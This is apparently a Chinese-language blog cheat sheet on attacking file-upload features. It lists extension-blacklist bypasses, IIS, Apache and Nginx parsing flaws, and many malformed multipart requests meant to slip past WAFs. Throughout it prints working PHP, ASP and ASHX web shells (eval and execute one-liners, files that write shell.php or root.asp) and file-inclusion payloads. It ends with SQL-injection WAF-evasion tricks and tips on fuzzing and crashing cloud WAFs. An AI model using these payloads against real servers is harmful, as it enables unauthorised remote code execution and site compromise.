Upload-AttacK

凡是不能把我毁灭的,都将使我更强

在此感谢下c4rt1yTr3jer_CongRong的总结

0x01 常规上传突破

常见扩展名黑名单

1
2
3
4
asp|asa|cer|cdx|aspx|ashx|ascx|asax
php|php2|php3|php4|php5|asis|htaccess
htm|html|shtml|pwml|phtml|phtm|js|jsp
vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini

特殊后缀

1
2
3
4
jsp jspx jspf
asp asa cer aspx [IETester]
php php php3 php4 pphphp
exe exee

绕过

1
2
3
4
5
6
7
8
[*] [00][80] 截断 iconv截断
[*] js burpsuite绕过
[*] mime类型 content-type 校验常见的 image/jpeg image/png
[*] 图片检测 getimagesize 合成图马上传即可 copy 1.jpg/b + poc.txt 2.jpg
[*] 扩展名 黑名单 系统特性和特殊文件名容易绕过
白名单 文件包含或者解析漏洞绕过 重命名限制脚本执行权限难解
[*] 目录路径 突破上级目录和同级目录限制 uploads/../1.php uploads/../x/1.php
[*] .htaccess 上传覆盖绕过

轻量级检测绕过攻击

1
2
[*] 绕过 javascript对扩展名的检测
[*] 绕过服务端对http request包 MIME类型检测

路径/扩展名检测绕过攻击

黑名单绕过

1
2
3
4
5
6
7
8
9
[*] 文件名大小写绕过
[*] 名单列表绕过
[*] 特殊文件名绕过
[*] 0x00 截断绕过
[*] .htaccess绕过
[*] 文件包含漏洞
[*] Apache解析漏洞
[*] IIS解析漏洞
[*] Nginx解析漏洞

白名单绕过

1
2
3
4
[*] 0x00截断绕过
[*] php 文件包含漏洞
[*] IIS 解析漏洞
[*] Nginx解析漏洞

文件内容检测绕过攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
[*] 文件加载绕过 二次渲染和ImageMagick基本没戏
function image_gd_open($file, $extension) //后台GD库二次渲染的代码
{
$extension = str_replace('jpg', 'jpeg', $extension);
$open_func = 'imageCreateFrom'. $extension; //函数名变成 imageCreateFrompng 之类
if (!function_exists($open_func))
{
return FALSE;
}
return $open_func($file); //变成 imagecreatefrompng('/tmp/php0lbTOn')
}
将上传的文件中属于图片部分的数据抓取,再使用API或者函数重新将图片生成保存

系统特性

Windows特殊字符

图片已损坏

1
2
3
4
5
6
1.php[%80-%99] 当然还有php的iconv函数的80截断
1.asp.
1.asp [空格]
1.php:1.jpg 1.<<<
1.php::$DATA
1.php::$DATA……[256]

Linux大小写敏感

1
1.Php 1.pHp 1.phP

0x02 IIS5.x-6.x解析漏洞

目录解析(6.0)

1
2
3
1.asa/1.jpg
1.asp/1.jpg
1.cer/1.jpg

文件解析

1
2
3
1.asa;1.jpg
1.asp;1.jpg
1.cer;1.jpg

特殊后缀

1
2
3
1.asa
1.cer
1.cdx

re :文件解析/截断等 重命名无解

0x03 Apache解析漏洞

1
1.php.Axiba

Apache配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
.htaccess突破
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch> 上传1.jpg即可
Apache的conf配置
AddHandler php5-script .php
文件名里包含.php,即使文件名是test.php.jpg 也会以php 来执行
AddType application/x-httpd-php .jpg
扩展名是jpg,一样能以php方式执行

0x04 nginx解析漏洞

空字节代码执行漏洞

Nginx 0.5. Nginx 0.6. Nginx 0.7 <= 0.7.65 Nginx 0.8 <= 0.8.37

1
1.jpg%00.php

Nginx 0.8.41 – 1.5.6

1
1.jpg%20%00.php

IIS 7.0/ Nginx <8.03畸形解析漏洞

1
2
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
web访问1.jpg/.php,当前目录下会生成shell.php

php-cgi解析漏洞

Win2k8 + IIS7.0 + PHP [IIS 7.0/7.5 Nginx < 0.8.3]

1
2
3
4
5
6
-----------------------------1315172757593483281034936488
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: text/plain
-----------------------------1315172757593483281034936488
Content-Disposition: form-data; name="upfile"; filename="1.jpg"
Content-Type: text/plain

Win2k3 + IIS6.0 + ASP

1
2
3
4
5
6
-----------------------------1315172757593483281034936488
Content-Disposition: form-data; name="upfile";
Content-Type: text/plain
filename="1.asp"
<%eval request("1")%>

0x05 Bypass-WAF缺陷

匹配过于严谨:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
1 Content-Type: multipart/form-data; boundary=
[加个空格]---------------------------4714631421141173021852555099
2 boundary不一致
Content-Type: multipart/form-data;
boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------47146314211411730218525[改成别的]99
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--
3 ASCII > 127的字符
1.asp;[af截断].jpg
4 Content-Disposition长度[例如超过1M]字节[将垃圾数据放在数据包最开头]
5 长文件名 1.................[很长]..........................php
6 特殊的长文件名
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
7 多个filename
-----------------------------47146314211411730218525[改成别的]99
Content-Disposition: form-data; name="file1"; filename="1.asp";filename="1.jpg" [或者把filename放到content-type下面]
Content-Type: application/octet-stream
8 POST/GET
上传一个POST型的数据包,抓包将POST改为GET
9 删除实体里面的Conten-Type字段
一.删除Content整行
二.删除C后面的字符
正常包:
Content-Disposition: form-data; name="image"; filename="1.png"
Content-Type: image/png
构造包:
Content-Disposition: form-data; name="image"; filename="1.png
C.php"
10 文件名回车
-----------------------------4714631421141173021852599
Content-Disposition: form-data; name="file1"; filename="shell.as
p"
Content-Type: application/octet-stream
11 删除Content-Disposition字段里的空格
12 修改Content-Disposition字段值的大小写
-----------------------------4714631421141173021852599
Content-Disposition: [大写F]orm-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
13 Tab
-----------------------------20566128503514
Content-Disposition: form-data; name="uploaded"; filename=[Tab] "e.php"
Content-Type: application/force-download
14 去空格
-----------------------------20566128503514
Content-Disposition: form-data;name="uploaded"; filename="e.php"
Content-Type: application/force-download
15 form-data删掉
-----------------------------20566128503514
Content-Disposition: ;name="uploaded"; filename="e.php"
Content-Type: application/force-download
16 加个符号
-----------------------------20566128503514
Content-Disposition: form-data;; name="uploaded"; filename="e.php"
Content-Type: application/force-download

顺便提下数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Mysql 1e1{union from}、\nkeyword、{+ - `` '' "" ~ ! @ () {} }keyword
10个可代替空格的字符、Error Return设计缺陷等 …
Mssql 30多个可代替空格的字符、Error Return设计缺陷等 …
Annotation -- , # , -- + , // , -- - , /**/ , ;%00 , /*!20000*/
Apache 解析特性、HPP、畸形method、畸形Boundary等 …
Nginx 关注系统&语言&数据库特性&解析特性等 …
OSX test.php{\xFC[\x80-\x83]}
Linux host''name
Windows&IIS
Unicode、畸形Unicode、ADS流、N种HTTP畸形正文、
解析特性、截断特性、HP、畸形Boundary、GET/POST傻傻分不清、
无数畸形字符可以 代替正常字符等 …
Encoder Json、Unicode、Base64、Url Encode、Html、Serialize、双重编码等 …
User-Agent 特殊放行 [google蜘蛛:Googlebot 百度蜘蛛:Baiduspider]

0x06 总结


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[*] filename在content-type下面
[*] .asp{80-90}
[*] NTFS ADS
[*] .asp...
[*] boundary不一致
[*] iis6分号截断asp.asp;asp.jpg
[*] apache解析漏洞php.php.ddd
[*] boundary和content-disposition中间插入换行
[*] hello.php:a.jpg然后hello.<<<
[*] filename=php.php
[*] filename="a.txt";filename="a.php"
[*] name=\n"file";filename="a.php"
[*] content-disposition:\n
[*] .htaccess文件
[*] a.jpg.\nphp
[*] 去掉content-disposition的form-data字段
[*] php<5.3 单双引号截断特性
[*] 删掉content-disposition: form-data;
[*] content-disposition\00:
[*] {char}+content-disposition
[*] head头的content-type: tab
[*] head头的content-type: multipart/form-DATA
[*] filename后缀改为大写
[*] head头的Content-Type: multipart/form-data;\n
[*] .asp空格
[*] .asp0x00.jpg截断
[*] 双boundary
[*] file\nname="php.php"
[*] head头content-type空格:
[*] form-data字段与name字段交换位置

0x07 针对云WAF

• 不要相信Demo的规则
• 多收集例站进行站点随机Fuzz,建议至少50+
• 针对IPS/IDS
• 尽可能先拿到早版本的交互层代码
• 扫其服务测其EXP
• 针对主机防护软件
• WAF就在眼前,Rule我想去猜猜
• 懂逆向则逆向,不懂逆向就瞎Fuzz,内存泄露、dll劫持使劲怼,crash了最好。

0x08 其他

ashx写asp的一句话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<%@ WebHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));
file1.Write("<%response.clear:execute request(\"root\"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}
%>

文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php include ($_GET['cmd']);?> include.php
<?php @eval($_POST[1]);?> 1.txt
include.php?cmd=1.txt 菜刀连接
<?php fputs(fopen('cmd.php','w'),'<?php @eval($_POST[1]);?>')?> 2.txt
include.php?cmd=2.txt 生成cmd.php
include.php?cmd=data:text/plain,<?php fputs(fopen('cmd1.php','w'),'<?php @eval($_POST[1]);?>')?> 协议生成cmd1.php
<?php Include("上传的txt文件路径");?> #PHP
<!--#include file="上传的txt文件路径" --> #ASP
<!--#include file="上传的txt文件路径" --> #ASPX
<jsp:inclde page="上传的txt文件路径"/> #JSP
<%@include file="上传的txt文件路径"%>
<c:import url="上传的txt文件路径"> #JSTL
三 <?php include 'phar://1.rar/1.txt';?> 访问后再访问/1/1.txt即可

下载地址:
PDF1下载
PDF2下载


其他资料:
绕waf资料
WAF基础了解
NTFS-ADS流文件
文件上传绕过姿势总结

本文为原创,转载请遵守本站的版本

更新于: 2018年9月20日 14:09